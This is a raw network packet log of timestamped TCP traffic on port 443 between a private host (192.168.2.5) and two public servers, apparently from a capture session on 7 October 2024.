Oct 7, 2024 21:53:46.211436987 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.211479902 CEST	50060	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.213625908 CEST	443	50061	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.213670015 CEST	50065	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.213710070 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.213759899 CEST	443	50061	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.213771105 CEST	50065	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.213804960 CEST	50061	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.213901043 CEST	50061	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.213907957 CEST	443	50061	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.213926077 CEST	50061	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.213932991 CEST	443	50061	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.213973999 CEST	50065	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.213989973 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.215936899 CEST	50066	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.215948105 CEST	443	50066	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.216016054 CEST	50066	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.216130018 CEST	50066	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.216141939 CEST	443	50066	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.276846886 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.277333975 CEST	50063	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.277354002 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.277779102 CEST	50063	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.277785063 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.284657001 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.284687042 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.284889936 CEST	50062	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.284904957 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.284982920 CEST	50062	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.284996033 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.285002947 CEST	50062	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.285151958 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.285197020 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.287579060 CEST	50062	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.287700891 CEST	50067	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.287717104 CEST	443	50067	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.287826061 CEST	50067	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.287905931 CEST	50067	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.287914038 CEST	443	50067	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.380394936 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.380418062 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.380614996 CEST	50063	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.380645990 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.380796909 CEST	50063	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.380796909 CEST	50063	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.380817890 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.380958080 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.380991936 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.382680893 CEST	50063	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.383455038 CEST	50068	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.383487940 CEST	443	50068	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.383555889 CEST	50068	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.383719921 CEST	50068	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.383737087 CEST	443	50068	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.743230104 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.743705034 CEST	50064	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.743722916 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.744298935 CEST	50064	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.744303942 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.840352058 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:46.840388060 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:46.840496063 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:46.840842009 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:46.840854883 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.083583117 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.083646059 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.083797932 CEST	50064	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.083839893 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.083899021 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.084081888 CEST	50064	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.084110975 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.084127903 CEST	50064	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.084137917 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.084145069 CEST	50064	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.084148884 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.087454081 CEST	50070	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.087490082 CEST	443	50070	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.087579012 CEST	50070	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.087824106 CEST	50070	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.087835073 CEST	443	50070	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.171327114 CEST	443	50068	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.172059059 CEST	50068	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.172076941 CEST	443	50068	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.172432899 CEST	443	50067	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.172480106 CEST	50068	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.172487020 CEST	443	50068	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.172743082 CEST	50067	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.172753096 CEST	443	50067	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.173048019 CEST	50067	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.173052073 CEST	443	50067	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.173504114 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.173777103 CEST	50065	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.173809052 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.174104929 CEST	50065	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.174112082 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.174556017 CEST	443	50066	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.175031900 CEST	50066	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.175040007 CEST	443	50066	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.175534010 CEST	50066	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.175539970 CEST	443	50066	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.266974926 CEST	443	50068	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.267056942 CEST	443	50068	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.267182112 CEST	50068	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.267410040 CEST	50068	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.267431021 CEST	443	50068	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.267440081 CEST	50068	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.267446041 CEST	443	50068	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.267920017 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.267982006 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.268052101 CEST	50065	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.268065929 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.268110991 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.268165112 CEST	50065	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.268769979 CEST	50065	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.268785954 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.268801928 CEST	50065	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.268810034 CEST	443	50065	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.269082069 CEST	443	50067	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.269149065 CEST	443	50067	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.269208908 CEST	50067	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.269757032 CEST	50067	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.269762993 CEST	443	50067	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.269778967 CEST	50067	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.269782066 CEST	443	50067	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.271229982 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.271255970 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.271327972 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.271528959 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.271543026 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.272406101 CEST	50072	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.272442102 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.272449017 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.272500992 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.272515059 CEST	50072	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.272670031 CEST	50072	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.272680998 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.272711992 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.272845030 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.272861004 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.275088072 CEST	443	50066	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.275149107 CEST	443	50066	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.275281906 CEST	50066	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.275319099 CEST	50066	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.275331974 CEST	443	50066	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.275346994 CEST	50066	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.275352955 CEST	443	50066	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.277533054 CEST	50074	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.277549982 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.277630091 CEST	50074	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.277801037 CEST	50074	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.277815104 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.634685040 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.634768009 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.638547897 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.638559103 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.638783932 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.640424967 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.687406063 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.708409071 CEST	443	50070	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.708949089 CEST	50070	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.708981991 CEST	443	50070	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.709496021 CEST	50070	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.709501028 CEST	443	50070	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.803323030 CEST	443	50070	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.803555965 CEST	443	50070	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.803677082 CEST	50070	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.803710938 CEST	50070	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.803725004 CEST	443	50070	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.806727886 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.806834936 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.806936979 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.807101965 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.807132959 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.887129068 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.887187004 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.887228966 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.887286901 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.887312889 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.887326956 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.887360096 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.887976885 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.888020992 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.888060093 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.888066053 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.888092995 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.888832092 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.888901949 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.890861988 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.890873909 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.890882969 CEST	50069	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:47.890887022 CEST	443	50069	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:47.894943953 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.895492077 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.895509958 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.896235943 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.896243095 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.901093006 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.901433945 CEST	50074	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.901454926 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.902034998 CEST	50074	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.902040005 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.904558897 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.904980898 CEST	50072	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.905023098 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.905349016 CEST	50072	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.905360937 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.921471119 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.922972918 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.922991991 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:47.923316002 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:47.923321009 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.009500980 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.009516954 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.009545088 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.009625912 CEST	50072	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.009676933 CEST	50072	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.009809971 CEST	50072	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.009831905 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.009848118 CEST	50072	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.009855032 CEST	443	50072	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.012980938 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.013031960 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.013169050 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.013355017 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.013370991 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.085592985 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.085617065 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.085679054 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.085679054 CEST	50074	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.085930109 CEST	50074	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.085995913 CEST	50074	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.086009979 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.086019039 CEST	50074	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.086024046 CEST	443	50074	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.089159012 CEST	50077	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.089200974 CEST	443	50077	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.089260101 CEST	50077	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.089628935 CEST	50077	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.089648008 CEST	443	50077	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.091195107 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.091222048 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.091288090 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.091299057 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.091342926 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.091564894 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.091623068 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.091661930 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.091675043 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.091686010 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.091691017 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.091697931 CEST	50071	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.091701031 CEST	443	50071	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.094307899 CEST	50078	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.094326019 CEST	443	50078	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.094398975 CEST	50078	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.094511032 CEST	50078	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.094528913 CEST	443	50078	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.096575975 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.096602917 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.096628904 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.096698046 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.096720934 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.096770048 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.183090925 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.183161974 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.183175087 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.183188915 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.183238983 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.183299065 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.183315992 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.183322906 CEST	50073	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.183327913 CEST	443	50073	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.187798977 CEST	50079	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.187850952 CEST	443	50079	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.187985897 CEST	50079	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.188204050 CEST	50079	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.188221931 CEST	443	50079	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.431335926 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.431868076 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.431900978 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.432279110 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.432285070 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.528714895 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.528740883 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.528759003 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.528852940 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.528883934 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.528948069 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.610220909 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.610270977 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.610343933 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.610420942 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.610590935 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.610626936 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.610655069 CEST	50075	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.610670090 CEST	443	50075	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.614262104 CEST	50080	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.614309072 CEST	443	50080	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.614836931 CEST	50080	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.615189075 CEST	50080	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.615207911 CEST	443	50080	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.632241964 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.632724047 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.632742882 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.633333921 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.633339882 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.707495928 CEST	443	50077	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.708038092 CEST	50077	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.708050966 CEST	443	50077	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.708467007 CEST	50077	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.708472013 CEST	443	50077	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.728101015 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.728136063 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.728212118 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.728235960 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.728411913 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.728463888 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.728470087 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.728490114 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.728637934 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.728677034 CEST	443	50076	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.728971958 CEST	50076	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.731344938 CEST	50081	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.731376886 CEST	443	50081	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.731455088 CEST	50081	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.731601000 CEST	50081	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.731616020 CEST	443	50081	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.746385098 CEST	443	50078	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.746931076 CEST	50078	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.746941090 CEST	443	50078	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.747304916 CEST	50078	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.747309923 CEST	443	50078	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.804266930 CEST	443	50077	13.107.246.64	192.168.2.5
